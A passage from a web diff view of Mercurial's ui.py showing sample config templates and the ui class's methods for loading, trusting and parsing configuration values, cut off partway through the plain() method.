##// END OF EJS Templates
urlutil: deprecate `getpath`...
marmoute -
r47803:9ea75ea2 default
parent child Browse files
Show More
@@ -1,2228 +1,2230 b''
1 1 # ui.py - user interface bits for mercurial
2 2 #
3 3 # Copyright 2005-2007 Olivia Mackall <olivia@selenic.com>
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7
8 8 from __future__ import absolute_import
9 9
10 10 import collections
11 11 import contextlib
12 12 import datetime
13 13 import errno
14 14 import getpass
15 15 import inspect
16 16 import os
17 17 import re
18 18 import signal
19 19 import socket
20 20 import subprocess
21 21 import sys
22 22 import traceback
23 23
24 24 from .i18n import _
25 25 from .node import hex
26 26 from .pycompat import (
27 27 getattr,
28 28 open,
29 29 )
30 30
31 31 from . import (
32 32 color,
33 33 config,
34 34 configitems,
35 35 encoding,
36 36 error,
37 37 formatter,
38 38 loggingutil,
39 39 progress,
40 40 pycompat,
41 41 rcutil,
42 42 scmutil,
43 43 util,
44 44 )
45 45 from .utils import (
46 46 dateutil,
47 47 procutil,
48 48 resourceutil,
49 49 stringutil,
50 50 urlutil,
51 51 )
52 52
53 53 urlreq = util.urlreq
54 54
55 55 # for use with str.translate(None, _keepalnum), to keep just alphanumerics
56 56 _keepalnum = b''.join(
57 57 c for c in map(pycompat.bytechr, range(256)) if not c.isalnum()
58 58 )
59 59
60 60 # The config knobs that will be altered (if unset) by ui.tweakdefaults.
61 61 tweakrc = b"""
62 62 [ui]
63 63 # The rollback command is dangerous. As a rule, don't use it.
64 64 rollback = False
65 65 # Make `hg status` report copy information
66 66 statuscopies = yes
67 67 # Prefer curses UIs when available. Revert to plain-text with `text`.
68 68 interface = curses
69 69 # Make compatible commands emit cwd-relative paths by default.
70 70 relative-paths = yes
71 71
72 72 [commands]
73 73 # Grep working directory by default.
74 74 grep.all-files = True
75 75 # Refuse to perform an `hg update` that would cause a file content merge
76 76 update.check = noconflict
77 77 # Show conflicts information in `hg status`
78 78 status.verbose = True
79 79 # Make `hg resolve` with no action (like `-m`) fail instead of re-merging.
80 80 resolve.explicit-re-merge = True
81 81
82 82 [diff]
83 83 git = 1
84 84 showfunc = 1
85 85 word-diff = 1
86 86 """
87 87
88 88 samplehgrcs = {
89 89 b'user': b"""# example user config (see 'hg help config' for more info)
90 90 [ui]
91 91 # name and email, e.g.
92 92 # username = Jane Doe <jdoe@example.com>
93 93 username =
94 94
95 95 # We recommend enabling tweakdefaults to get slight improvements to
96 96 # the UI over time. Make sure to set HGPLAIN in the environment when
97 97 # writing scripts!
98 98 # tweakdefaults = True
99 99
100 100 # uncomment to disable color in command output
101 101 # (see 'hg help color' for details)
102 102 # color = never
103 103
104 104 # uncomment to disable command output pagination
105 105 # (see 'hg help pager' for details)
106 106 # paginate = never
107 107
108 108 [extensions]
109 109 # uncomment the lines below to enable some popular extensions
110 110 # (see 'hg help extensions' for more info)
111 111 #
112 112 # histedit =
113 113 # rebase =
114 114 # uncommit =
115 115 """,
116 116 b'cloned': b"""# example repository config (see 'hg help config' for more info)
117 117 [paths]
118 118 default = %s
119 119
120 120 # path aliases to other clones of this repo in URLs or filesystem paths
121 121 # (see 'hg help config.paths' for more info)
122 122 #
123 123 # default:pushurl = ssh://jdoe@example.net/hg/jdoes-fork
124 124 # my-fork = ssh://jdoe@example.net/hg/jdoes-fork
125 125 # my-clone = /home/jdoe/jdoes-clone
126 126
127 127 [ui]
128 128 # name and email (local to this repository, optional), e.g.
129 129 # username = Jane Doe <jdoe@example.com>
130 130 """,
131 131 b'local': b"""# example repository config (see 'hg help config' for more info)
132 132 [paths]
133 133 # path aliases to other clones of this repo in URLs or filesystem paths
134 134 # (see 'hg help config.paths' for more info)
135 135 #
136 136 # default = http://example.com/hg/example-repo
137 137 # default:pushurl = ssh://jdoe@example.net/hg/jdoes-fork
138 138 # my-fork = ssh://jdoe@example.net/hg/jdoes-fork
139 139 # my-clone = /home/jdoe/jdoes-clone
140 140
141 141 [ui]
142 142 # name and email (local to this repository, optional), e.g.
143 143 # username = Jane Doe <jdoe@example.com>
144 144 """,
145 145 b'global': b"""# example system-wide hg config (see 'hg help config' for more info)
146 146
147 147 [ui]
148 148 # uncomment to disable color in command output
149 149 # (see 'hg help color' for details)
150 150 # color = never
151 151
152 152 # uncomment to disable command output pagination
153 153 # (see 'hg help pager' for details)
154 154 # paginate = never
155 155
156 156 [extensions]
157 157 # uncomment the lines below to enable some popular extensions
158 158 # (see 'hg help extensions' for more info)
159 159 #
160 160 # blackbox =
161 161 # churn =
162 162 """,
163 163 }
164 164
165 165
166 166 def _maybestrurl(maybebytes):
167 167 return pycompat.rapply(pycompat.strurl, maybebytes)
168 168
169 169
170 170 def _maybebytesurl(maybestr):
171 171 return pycompat.rapply(pycompat.bytesurl, maybestr)
172 172
173 173
174 174 class httppasswordmgrdbproxy(object):
175 175 """Delays loading urllib2 until it's needed."""
176 176
177 177 def __init__(self):
178 178 self._mgr = None
179 179
180 180 def _get_mgr(self):
181 181 if self._mgr is None:
182 182 self._mgr = urlreq.httppasswordmgrwithdefaultrealm()
183 183 return self._mgr
184 184
185 185 def add_password(self, realm, uris, user, passwd):
186 186 return self._get_mgr().add_password(
187 187 _maybestrurl(realm),
188 188 _maybestrurl(uris),
189 189 _maybestrurl(user),
190 190 _maybestrurl(passwd),
191 191 )
192 192
193 193 def find_user_password(self, realm, uri):
194 194 mgr = self._get_mgr()
195 195 return _maybebytesurl(
196 196 mgr.find_user_password(_maybestrurl(realm), _maybestrurl(uri))
197 197 )
198 198
199 199
200 200 def _catchterm(*args):
201 201 raise error.SignalInterrupt
202 202
203 203
204 204 # unique object used to detect no default value has been provided when
205 205 # retrieving configuration value.
206 206 _unset = object()
207 207
208 208 # _reqexithandlers: callbacks run at the end of a request
209 209 _reqexithandlers = []
210 210
211 211
212 212 class ui(object):
213 213 def __init__(self, src=None):
214 214 """Create a fresh new ui object if no src given
215 215
216 216 Use uimod.ui.load() to create a ui which knows global and user configs.
217 217 In most cases, you should use ui.copy() to create a copy of an existing
218 218 ui object.
219 219 """
220 220 # _buffers: used for temporary capture of output
221 221 self._buffers = []
222 222 # 3-tuple describing how each buffer in the stack behaves.
223 223 # Values are (capture stderr, capture subprocesses, apply labels).
224 224 self._bufferstates = []
225 225 # When a buffer is active, defines whether we are expanding labels.
226 226 # This exists to prevent an extra list lookup.
227 227 self._bufferapplylabels = None
228 228 self.quiet = self.verbose = self.debugflag = self.tracebackflag = False
229 229 self._reportuntrusted = True
230 230 self._knownconfig = configitems.coreitems
231 231 self._ocfg = config.config() # overlay
232 232 self._tcfg = config.config() # trusted
233 233 self._ucfg = config.config() # untrusted
234 234 self._trustusers = set()
235 235 self._trustgroups = set()
236 236 self.callhooks = True
237 237 # Insecure server connections requested.
238 238 self.insecureconnections = False
239 239 # Blocked time
240 240 self.logblockedtimes = False
241 241 # color mode: see mercurial/color.py for possible value
242 242 self._colormode = None
243 243 self._terminfoparams = {}
244 244 self._styles = {}
245 245 self._uninterruptible = False
246 246 self.showtimestamp = False
247 247
248 248 if src:
249 249 self._fout = src._fout
250 250 self._ferr = src._ferr
251 251 self._fin = src._fin
252 252 self._fmsg = src._fmsg
253 253 self._fmsgout = src._fmsgout
254 254 self._fmsgerr = src._fmsgerr
255 255 self._finoutredirected = src._finoutredirected
256 256 self._loggers = src._loggers.copy()
257 257 self.pageractive = src.pageractive
258 258 self._disablepager = src._disablepager
259 259 self._tweaked = src._tweaked
260 260
261 261 self._tcfg = src._tcfg.copy()
262 262 self._ucfg = src._ucfg.copy()
263 263 self._ocfg = src._ocfg.copy()
264 264 self._trustusers = src._trustusers.copy()
265 265 self._trustgroups = src._trustgroups.copy()
266 266 self.environ = src.environ
267 267 self.callhooks = src.callhooks
268 268 self.insecureconnections = src.insecureconnections
269 269 self._colormode = src._colormode
270 270 self._terminfoparams = src._terminfoparams.copy()
271 271 self._styles = src._styles.copy()
272 272
273 273 self.fixconfig()
274 274
275 275 self.httppasswordmgrdb = src.httppasswordmgrdb
276 276 self._blockedtimes = src._blockedtimes
277 277 else:
278 278 self._fout = procutil.stdout
279 279 self._ferr = procutil.stderr
280 280 self._fin = procutil.stdin
281 281 self._fmsg = None
282 282 self._fmsgout = self.fout # configurable
283 283 self._fmsgerr = self.ferr # configurable
284 284 self._finoutredirected = False
285 285 self._loggers = {}
286 286 self.pageractive = False
287 287 self._disablepager = False
288 288 self._tweaked = False
289 289
290 290 # shared read-only environment
291 291 self.environ = encoding.environ
292 292
293 293 self.httppasswordmgrdb = httppasswordmgrdbproxy()
294 294 self._blockedtimes = collections.defaultdict(int)
295 295
296 296 allowed = self.configlist(b'experimental', b'exportableenviron')
297 297 if b'*' in allowed:
298 298 self._exportableenviron = self.environ
299 299 else:
300 300 self._exportableenviron = {}
301 301 for k in allowed:
302 302 if k in self.environ:
303 303 self._exportableenviron[k] = self.environ[k]
304 304
305 305 def _new_source(self):
306 306 self._ocfg.new_source()
307 307 self._tcfg.new_source()
308 308 self._ucfg.new_source()
309 309
310 310 @classmethod
311 311 def load(cls):
312 312 """Create a ui and load global and user configs"""
313 313 u = cls()
314 314 # we always trust global config files and environment variables
315 315 for t, f in rcutil.rccomponents():
316 316 if t == b'path':
317 317 u.readconfig(f, trust=True)
318 318 elif t == b'resource':
319 319 u.read_resource_config(f, trust=True)
320 320 elif t == b'items':
321 321 u._new_source()
322 322 sections = set()
323 323 for section, name, value, source in f:
324 324 # do not set u._ocfg
325 325 # XXX clean this up once immutable config object is a thing
326 326 u._tcfg.set(section, name, value, source)
327 327 u._ucfg.set(section, name, value, source)
328 328 sections.add(section)
329 329 for section in sections:
330 330 u.fixconfig(section=section)
331 331 else:
332 332 raise error.ProgrammingError(b'unknown rctype: %s' % t)
333 333 u._maybetweakdefaults()
334 334 u._new_source() # anything after that is a different level
335 335 return u
336 336
337 337 def _maybetweakdefaults(self):
338 338 if not self.configbool(b'ui', b'tweakdefaults'):
339 339 return
340 340 if self._tweaked or self.plain(b'tweakdefaults'):
341 341 return
342 342
343 343 # Note: it is SUPER IMPORTANT that you set self._tweaked to
344 344 # True *before* any calls to setconfig(), otherwise you'll get
345 345 # infinite recursion between setconfig and this method.
346 346 #
347 347 # TODO: We should extract an inner method in setconfig() to
348 348 # avoid this weirdness.
349 349 self._tweaked = True
350 350 tmpcfg = config.config()
351 351 tmpcfg.parse(b'<tweakdefaults>', tweakrc)
352 352 for section in tmpcfg:
353 353 for name, value in tmpcfg.items(section):
354 354 if not self.hasconfig(section, name):
355 355 self.setconfig(section, name, value, b"<tweakdefaults>")
356 356
357 357 def copy(self):
358 358 return self.__class__(self)
359 359
360 360 def resetstate(self):
361 361 """Clear internal state that shouldn't persist across commands"""
362 362 if self._progbar:
363 363 self._progbar.resetstate() # reset last-print time of progress bar
364 364 self.httppasswordmgrdb = httppasswordmgrdbproxy()
365 365
366 366 @contextlib.contextmanager
367 367 def timeblockedsection(self, key):
368 368 # this is open-coded below - search for timeblockedsection to find them
369 369 starttime = util.timer()
370 370 try:
371 371 yield
372 372 finally:
373 373 self._blockedtimes[key + b'_blocked'] += (
374 374 util.timer() - starttime
375 375 ) * 1000
376 376
377 377 @contextlib.contextmanager
378 378 def uninterruptible(self):
379 379 """Mark an operation as unsafe.
380 380
381 381 Most operations on a repository are safe to interrupt, but a
382 382 few are risky (for example repair.strip). This context manager
383 383 lets you advise Mercurial that something risky is happening so
384 384 that control-C etc can be blocked if desired.
385 385 """
386 386 enabled = self.configbool(b'experimental', b'nointerrupt')
387 387 if enabled and self.configbool(
388 388 b'experimental', b'nointerrupt-interactiveonly'
389 389 ):
390 390 enabled = self.interactive()
391 391 if self._uninterruptible or not enabled:
392 392 # if nointerrupt support is turned off, the process isn't
393 393 # interactive, or we're already in an uninterruptible
394 394 # block, do nothing.
395 395 yield
396 396 return
397 397
398 398 def warn():
399 399 self.warn(_(b"shutting down cleanly\n"))
400 400 self.warn(
401 401 _(b"press ^C again to terminate immediately (dangerous)\n")
402 402 )
403 403 return True
404 404
405 405 with procutil.uninterruptible(warn):
406 406 try:
407 407 self._uninterruptible = True
408 408 yield
409 409 finally:
410 410 self._uninterruptible = False
411 411
412 412 def formatter(self, topic, opts):
413 413 return formatter.formatter(self, self, topic, opts)
414 414
415 415 def _trusted(self, fp, f):
416 416 st = util.fstat(fp)
417 417 if util.isowner(st):
418 418 return True
419 419
420 420 tusers, tgroups = self._trustusers, self._trustgroups
421 421 if b'*' in tusers or b'*' in tgroups:
422 422 return True
423 423
424 424 user = util.username(st.st_uid)
425 425 group = util.groupname(st.st_gid)
426 426 if user in tusers or group in tgroups or user == util.username():
427 427 return True
428 428
429 429 if self._reportuntrusted:
430 430 self.warn(
431 431 _(
432 432 b'not trusting file %s from untrusted '
433 433 b'user %s, group %s\n'
434 434 )
435 435 % (f, user, group)
436 436 )
437 437 return False
438 438
439 439 def read_resource_config(
440 440 self, name, root=None, trust=False, sections=None, remap=None
441 441 ):
442 442 try:
443 443 fp = resourceutil.open_resource(name[0], name[1])
444 444 except IOError:
445 445 if not sections: # ignore unless we were looking for something
446 446 return
447 447 raise
448 448
449 449 self._readconfig(
450 450 b'resource:%s.%s' % name, fp, root, trust, sections, remap
451 451 )
452 452
453 453 def readconfig(
454 454 self, filename, root=None, trust=False, sections=None, remap=None
455 455 ):
456 456 try:
457 457 fp = open(filename, 'rb')
458 458 except IOError:
459 459 if not sections: # ignore unless we were looking for something
460 460 return
461 461 raise
462 462
463 463 self._readconfig(filename, fp, root, trust, sections, remap)
464 464
465 465 def _readconfig(
466 466 self, filename, fp, root=None, trust=False, sections=None, remap=None
467 467 ):
468 468 with fp:
469 469 cfg = config.config()
470 470 trusted = sections or trust or self._trusted(fp, filename)
471 471
472 472 try:
473 473 cfg.read(filename, fp, sections=sections, remap=remap)
474 474 except error.ConfigError as inst:
475 475 if trusted:
476 476 raise
477 477 self.warn(
478 478 _(b'ignored %s: %s\n') % (inst.location, inst.message)
479 479 )
480 480
481 481 self._applyconfig(cfg, trusted, root)
482 482
483 483 def applyconfig(self, configitems, source=b"", root=None):
484 484 """Add configitems from a non-file source. Unlike with ``setconfig()``,
485 485 they can be overridden by subsequent config file reads. The items are
486 486 in the same format as ``configoverride()``, namely a dict of the
487 487 following structures: {(section, name) : value}
488 488
489 489 Typically this is used by extensions that inject themselves into the
490 490 config file load procedure by monkeypatching ``localrepo.loadhgrc()``.
491 491 """
492 492 cfg = config.config()
493 493
494 494 for (section, name), value in configitems.items():
495 495 cfg.set(section, name, value, source)
496 496
497 497 self._applyconfig(cfg, True, root)
498 498
499 499 def _applyconfig(self, cfg, trusted, root):
500 500 if self.plain():
501 501 for k in (
502 502 b'debug',
503 503 b'fallbackencoding',
504 504 b'quiet',
505 505 b'slash',
506 506 b'logtemplate',
507 507 b'message-output',
508 508 b'statuscopies',
509 509 b'style',
510 510 b'traceback',
511 511 b'verbose',
512 512 ):
513 513 if k in cfg[b'ui']:
514 514 del cfg[b'ui'][k]
515 515 for k, v in cfg.items(b'defaults'):
516 516 del cfg[b'defaults'][k]
517 517 for k, v in cfg.items(b'commands'):
518 518 del cfg[b'commands'][k]
519 519 for k, v in cfg.items(b'command-templates'):
520 520 del cfg[b'command-templates'][k]
521 521 # Don't remove aliases from the configuration if in the exceptionlist
522 522 if self.plain(b'alias'):
523 523 for k, v in cfg.items(b'alias'):
524 524 del cfg[b'alias'][k]
525 525 if self.plain(b'revsetalias'):
526 526 for k, v in cfg.items(b'revsetalias'):
527 527 del cfg[b'revsetalias'][k]
528 528 if self.plain(b'templatealias'):
529 529 for k, v in cfg.items(b'templatealias'):
530 530 del cfg[b'templatealias'][k]
531 531
532 532 if trusted:
533 533 self._tcfg.update(cfg)
534 534 self._tcfg.update(self._ocfg)
535 535 self._ucfg.update(cfg)
536 536 self._ucfg.update(self._ocfg)
537 537
538 538 if root is None:
539 539 root = os.path.expanduser(b'~')
540 540 self.fixconfig(root=root)
541 541
542 542 def fixconfig(self, root=None, section=None):
543 543 if section in (None, b'paths'):
544 544 # expand vars and ~
545 545 # translate paths relative to root (or home) into absolute paths
546 546 root = root or encoding.getcwd()
547 547 for c in self._tcfg, self._ucfg, self._ocfg:
548 548 for n, p in c.items(b'paths'):
549 549 # Ignore sub-options.
550 550 if b':' in n:
551 551 continue
552 552 if not p:
553 553 continue
554 554 if b'%%' in p:
555 555 s = self.configsource(b'paths', n) or b'none'
556 556 self.warn(
557 557 _(b"(deprecated '%%' in path %s=%s from %s)\n")
558 558 % (n, p, s)
559 559 )
560 560 p = p.replace(b'%%', b'%')
561 561 p = util.expandpath(p)
562 562 if not urlutil.hasscheme(p) and not os.path.isabs(p):
563 563 p = os.path.normpath(os.path.join(root, p))
564 564 c.alter(b"paths", n, p)
565 565
566 566 if section in (None, b'ui'):
567 567 # update ui options
568 568 self._fmsgout, self._fmsgerr = _selectmsgdests(self)
569 569 self.debugflag = self.configbool(b'ui', b'debug')
570 570 self.verbose = self.debugflag or self.configbool(b'ui', b'verbose')
571 571 self.quiet = not self.debugflag and self.configbool(b'ui', b'quiet')
572 572 if self.verbose and self.quiet:
573 573 self.quiet = self.verbose = False
574 574 self._reportuntrusted = self.debugflag or self.configbool(
575 575 b"ui", b"report_untrusted"
576 576 )
577 577 self.showtimestamp = self.configbool(b'ui', b'timestamp-output')
578 578 self.tracebackflag = self.configbool(b'ui', b'traceback')
579 579 self.logblockedtimes = self.configbool(b'ui', b'logblockedtimes')
580 580
581 581 if section in (None, b'trusted'):
582 582 # update trust information
583 583 self._trustusers.update(self.configlist(b'trusted', b'users'))
584 584 self._trustgroups.update(self.configlist(b'trusted', b'groups'))
585 585
586 586 if section in (None, b'devel', b'ui') and self.debugflag:
587 587 tracked = set()
588 588 if self.configbool(b'devel', b'debug.extensions'):
589 589 tracked.add(b'extension')
590 590 if tracked:
591 591 logger = loggingutil.fileobjectlogger(self._ferr, tracked)
592 592 self.setlogger(b'debug', logger)
593 593
594 594 def backupconfig(self, section, item):
595 595 return (
596 596 self._ocfg.backup(section, item),
597 597 self._tcfg.backup(section, item),
598 598 self._ucfg.backup(section, item),
599 599 )
600 600
601 601 def restoreconfig(self, data):
602 602 self._ocfg.restore(data[0])
603 603 self._tcfg.restore(data[1])
604 604 self._ucfg.restore(data[2])
605 605
606 606 def setconfig(self, section, name, value, source=b''):
607 607 for cfg in (self._ocfg, self._tcfg, self._ucfg):
608 608 cfg.set(section, name, value, source)
609 609 self.fixconfig(section=section)
610 610 self._maybetweakdefaults()
611 611
612 612 def _data(self, untrusted):
613 613 return untrusted and self._ucfg or self._tcfg
614 614
615 615 def configsource(self, section, name, untrusted=False):
616 616 return self._data(untrusted).source(section, name)
617 617
618 618 def config(self, section, name, default=_unset, untrusted=False):
619 619 """return the plain string version of a config"""
620 620 value = self._config(
621 621 section, name, default=default, untrusted=untrusted
622 622 )
623 623 if value is _unset:
624 624 return None
625 625 return value
626 626
627 627 def _config(self, section, name, default=_unset, untrusted=False):
628 628 value = itemdefault = default
629 629 item = self._knownconfig.get(section, {}).get(name)
630 630 alternates = [(section, name)]
631 631
632 632 if item is not None:
633 633 alternates.extend(item.alias)
634 634 if callable(item.default):
635 635 itemdefault = item.default()
636 636 else:
637 637 itemdefault = item.default
638 638 else:
639 639 msg = b"accessing unregistered config item: '%s.%s'"
640 640 msg %= (section, name)
641 641 self.develwarn(msg, 2, b'warn-config-unknown')
642 642
643 643 if default is _unset:
644 644 if item is None:
645 645 value = default
646 646 elif item.default is configitems.dynamicdefault:
647 647 value = None
648 648 msg = b"config item requires an explicit default value: '%s.%s'"
649 649 msg %= (section, name)
650 650 self.develwarn(msg, 2, b'warn-config-default')
651 651 else:
652 652 value = itemdefault
653 653 elif (
654 654 item is not None
655 655 and item.default is not configitems.dynamicdefault
656 656 and default != itemdefault
657 657 ):
658 658 msg = (
659 659 b"specifying a mismatched default value for a registered "
660 660 b"config item: '%s.%s' '%s'"
661 661 )
662 662 msg %= (section, name, pycompat.bytestr(default))
663 663 self.develwarn(msg, 2, b'warn-config-default')
664 664
665 665 candidates = []
666 666 config = self._data(untrusted)
667 667 for s, n in alternates:
668 668 candidate = config.get(s, n, None)
669 669 if candidate is not None:
670 670 candidates.append((s, n, candidate))
671 671 if candidates:
672 672
673 673 def level(x):
674 674 return config.level(x[0], x[1])
675 675
676 676 value = max(candidates, key=level)[2]
677 677
678 678 if self.debugflag and not untrusted and self._reportuntrusted:
679 679 for s, n in alternates:
680 680 uvalue = self._ucfg.get(s, n)
681 681 if uvalue is not None and uvalue != value:
682 682 self.debug(
683 683 b"ignoring untrusted configuration option "
684 684 b"%s.%s = %s\n" % (s, n, uvalue)
685 685 )
686 686 return value
687 687
688 688 def config_default(self, section, name):
689 689 """return the default value for a config option
690 690
691 691 The default is returned "raw", for example if it is a callable, the
692 692 callable was not called.
693 693 """
694 694 item = self._knownconfig.get(section, {}).get(name)
695 695
696 696 if item is None:
697 697 raise KeyError((section, name))
698 698 return item.default
699 699
700 700 def configsuboptions(self, section, name, default=_unset, untrusted=False):
701 701 """Get a config option and all sub-options.
702 702
703 703 Some config options have sub-options that are declared with the
704 704 format "key:opt = value". This method is used to return the main
705 705 option and all its declared sub-options.
706 706
707 707 Returns a 2-tuple of ``(option, sub-options)``, where `sub-options``
708 708 is a dict of defined sub-options where keys and values are strings.
709 709 """
710 710 main = self.config(section, name, default, untrusted=untrusted)
711 711 data = self._data(untrusted)
712 712 sub = {}
713 713 prefix = b'%s:' % name
714 714 for k, v in data.items(section):
715 715 if k.startswith(prefix):
716 716 sub[k[len(prefix) :]] = v
717 717
718 718 if self.debugflag and not untrusted and self._reportuntrusted:
719 719 for k, v in sub.items():
720 720 uvalue = self._ucfg.get(section, b'%s:%s' % (name, k))
721 721 if uvalue is not None and uvalue != v:
722 722 self.debug(
723 723 b'ignoring untrusted configuration option '
724 724 b'%s:%s.%s = %s\n' % (section, name, k, uvalue)
725 725 )
726 726
727 727 return main, sub
728 728
729 729 def configpath(self, section, name, default=_unset, untrusted=False):
730 730 """get a path config item, expanded relative to repo root or config
731 731 file"""
732 732 v = self.config(section, name, default, untrusted)
733 733 if v is None:
734 734 return None
735 735 if not os.path.isabs(v) or b"://" not in v:
736 736 src = self.configsource(section, name, untrusted)
737 737 if b':' in src:
738 738 base = os.path.dirname(src.rsplit(b':')[0])
739 739 v = os.path.join(base, os.path.expanduser(v))
740 740 return v
741 741
742 742 def configbool(self, section, name, default=_unset, untrusted=False):
743 743 """parse a configuration element as a boolean
744 744
745 745 >>> u = ui(); s = b'foo'
746 746 >>> u.setconfig(s, b'true', b'yes')
747 747 >>> u.configbool(s, b'true')
748 748 True
749 749 >>> u.setconfig(s, b'false', b'no')
750 750 >>> u.configbool(s, b'false')
751 751 False
752 752 >>> u.configbool(s, b'unknown')
753 753 False
754 754 >>> u.configbool(s, b'unknown', True)
755 755 True
756 756 >>> u.setconfig(s, b'invalid', b'somevalue')
757 757 >>> u.configbool(s, b'invalid')
758 758 Traceback (most recent call last):
759 759 ...
760 760 ConfigError: foo.invalid is not a boolean ('somevalue')
761 761 """
762 762
763 763 v = self._config(section, name, default, untrusted=untrusted)
764 764 if v is None:
765 765 return v
766 766 if v is _unset:
767 767 if default is _unset:
768 768 return False
769 769 return default
770 770 if isinstance(v, bool):
771 771 return v
772 772 b = stringutil.parsebool(v)
773 773 if b is None:
774 774 raise error.ConfigError(
775 775 _(b"%s.%s is not a boolean ('%s')") % (section, name, v)
776 776 )
777 777 return b
778 778
779 779 def configwith(
780 780 self, convert, section, name, default=_unset, desc=None, untrusted=False
781 781 ):
782 782 """parse a configuration element with a conversion function
783 783
784 784 >>> u = ui(); s = b'foo'
785 785 >>> u.setconfig(s, b'float1', b'42')
786 786 >>> u.configwith(float, s, b'float1')
787 787 42.0
788 788 >>> u.setconfig(s, b'float2', b'-4.25')
789 789 >>> u.configwith(float, s, b'float2')
790 790 -4.25
791 791 >>> u.configwith(float, s, b'unknown', 7)
792 792 7.0
793 793 >>> u.setconfig(s, b'invalid', b'somevalue')
794 794 >>> u.configwith(float, s, b'invalid')
795 795 Traceback (most recent call last):
796 796 ...
797 797 ConfigError: foo.invalid is not a valid float ('somevalue')
798 798 >>> u.configwith(float, s, b'invalid', desc=b'womble')
799 799 Traceback (most recent call last):
800 800 ...
801 801 ConfigError: foo.invalid is not a valid womble ('somevalue')
802 802 """
803 803
804 804 v = self.config(section, name, default, untrusted)
805 805 if v is None:
806 806 return v # do not attempt to convert None
807 807 try:
808 808 return convert(v)
809 809 except (ValueError, error.ParseError):
810 810 if desc is None:
811 811 desc = pycompat.sysbytes(convert.__name__)
812 812 raise error.ConfigError(
813 813 _(b"%s.%s is not a valid %s ('%s')") % (section, name, desc, v)
814 814 )
815 815
816 816 def configint(self, section, name, default=_unset, untrusted=False):
817 817 """parse a configuration element as an integer
818 818
819 819 >>> u = ui(); s = b'foo'
820 820 >>> u.setconfig(s, b'int1', b'42')
821 821 >>> u.configint(s, b'int1')
822 822 42
823 823 >>> u.setconfig(s, b'int2', b'-42')
824 824 >>> u.configint(s, b'int2')
825 825 -42
826 826 >>> u.configint(s, b'unknown', 7)
827 827 7
828 828 >>> u.setconfig(s, b'invalid', b'somevalue')
829 829 >>> u.configint(s, b'invalid')
830 830 Traceback (most recent call last):
831 831 ...
832 832 ConfigError: foo.invalid is not a valid integer ('somevalue')
833 833 """
834 834
835 835 return self.configwith(
836 836 int, section, name, default, b'integer', untrusted
837 837 )
838 838
839 839 def configbytes(self, section, name, default=_unset, untrusted=False):
840 840 """parse a configuration element as a quantity in bytes
841 841
842 842 Units can be specified as b (bytes), k or kb (kilobytes), m or
843 843 mb (megabytes), g or gb (gigabytes).
844 844
845 845 >>> u = ui(); s = b'foo'
846 846 >>> u.setconfig(s, b'val1', b'42')
847 847 >>> u.configbytes(s, b'val1')
848 848 42
849 849 >>> u.setconfig(s, b'val2', b'42.5 kb')
850 850 >>> u.configbytes(s, b'val2')
851 851 43520
852 852 >>> u.configbytes(s, b'unknown', b'7 MB')
853 853 7340032
854 854 >>> u.setconfig(s, b'invalid', b'somevalue')
855 855 >>> u.configbytes(s, b'invalid')
856 856 Traceback (most recent call last):
857 857 ...
858 858 ConfigError: foo.invalid is not a byte quantity ('somevalue')
859 859 """
860 860
861 861 value = self._config(section, name, default, untrusted)
862 862 if value is _unset:
863 863 if default is _unset:
864 864 default = 0
865 865 value = default
866 866 if not isinstance(value, bytes):
867 867 return value
868 868 try:
869 869 return util.sizetoint(value)
870 870 except error.ParseError:
871 871 raise error.ConfigError(
872 872 _(b"%s.%s is not a byte quantity ('%s')")
873 873 % (section, name, value)
874 874 )
875 875
876 876 def configlist(self, section, name, default=_unset, untrusted=False):
877 877 """parse a configuration element as a list of comma/space separated
878 878 strings
879 879
880 880 >>> u = ui(); s = b'foo'
881 881 >>> u.setconfig(s, b'list1', b'this,is "a small" ,test')
882 882 >>> u.configlist(s, b'list1')
883 883 ['this', 'is', 'a small', 'test']
884 884 >>> u.setconfig(s, b'list2', b'this, is "a small" , test ')
885 885 >>> u.configlist(s, b'list2')
886 886 ['this', 'is', 'a small', 'test']
887 887 """
888 888 # default is not always a list
889 889 v = self.configwith(
890 890 config.parselist, section, name, default, b'list', untrusted
891 891 )
892 892 if isinstance(v, bytes):
893 893 return config.parselist(v)
894 894 elif v is None:
895 895 return []
896 896 return v
897 897
898 898 def configdate(self, section, name, default=_unset, untrusted=False):
899 899 """parse a configuration element as a tuple of ints
900 900
901 901 >>> u = ui(); s = b'foo'
902 902 >>> u.setconfig(s, b'date', b'0 0')
903 903 >>> u.configdate(s, b'date')
904 904 (0, 0)
905 905 """
906 906 if self.config(section, name, default, untrusted):
907 907 return self.configwith(
908 908 dateutil.parsedate, section, name, default, b'date', untrusted
909 909 )
910 910 if default is _unset:
911 911 return None
912 912 return default
913 913
914 914 def configdefault(self, section, name):
915 915 """returns the default value of the config item"""
916 916 item = self._knownconfig.get(section, {}).get(name)
917 917 itemdefault = None
918 918 if item is not None:
919 919 if callable(item.default):
920 920 itemdefault = item.default()
921 921 else:
922 922 itemdefault = item.default
923 923 return itemdefault
924 924
925 925 def hasconfig(self, section, name, untrusted=False):
926 926 return self._data(untrusted).hasitem(section, name)
927 927
928 928 def has_section(self, section, untrusted=False):
929 929 '''tell whether section exists in config.'''
930 930 return section in self._data(untrusted)
931 931
932 932 def configitems(self, section, untrusted=False, ignoresub=False):
933 933 items = self._data(untrusted).items(section)
934 934 if ignoresub:
935 935 items = [i for i in items if b':' not in i[0]]
936 936 if self.debugflag and not untrusted and self._reportuntrusted:
937 937 for k, v in self._ucfg.items(section):
938 938 if self._tcfg.get(section, k) != v:
939 939 self.debug(
940 940 b"ignoring untrusted configuration option "
941 941 b"%s.%s = %s\n" % (section, k, v)
942 942 )
943 943 return items
944 944
945 945 def walkconfig(self, untrusted=False):
946 946 cfg = self._data(untrusted)
947 947 for section in cfg.sections():
948 948 for name, value in self.configitems(section, untrusted):
949 949 yield section, name, value
950 950
951 951 def plain(self, feature=None):
952 952 """is plain mode active?
953 953
954 954 Plain mode means that all configuration variables which affect
955 955 the behavior and output of Mercurial should be
956 956 ignored. Additionally, the output should be stable,
957 957 reproducible and suitable for use in scripts or applications.
958 958
959 959 The only way to trigger plain mode is by setting either the
960 960 `HGPLAIN' or `HGPLAINEXCEPT' environment variables.
961 961
962 962 The return value can either be
963 963 - False if HGPLAIN is not set, or feature is in HGPLAINEXCEPT
964 964 - False if feature is disabled by default and not included in HGPLAIN
965 965 - True otherwise
966 966 """
967 967 if (
968 968 b'HGPLAIN' not in encoding.environ
969 969 and b'HGPLAINEXCEPT' not in encoding.environ
970 970 ):
971 971 return False
972 972 exceptions = (
